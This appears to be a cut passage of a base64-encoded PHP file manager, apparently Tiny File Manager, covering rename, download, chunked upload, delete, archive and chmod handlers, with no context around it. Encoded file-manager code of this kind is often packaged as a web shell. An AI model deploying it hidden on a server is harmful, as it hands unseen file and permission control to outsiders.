J10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gI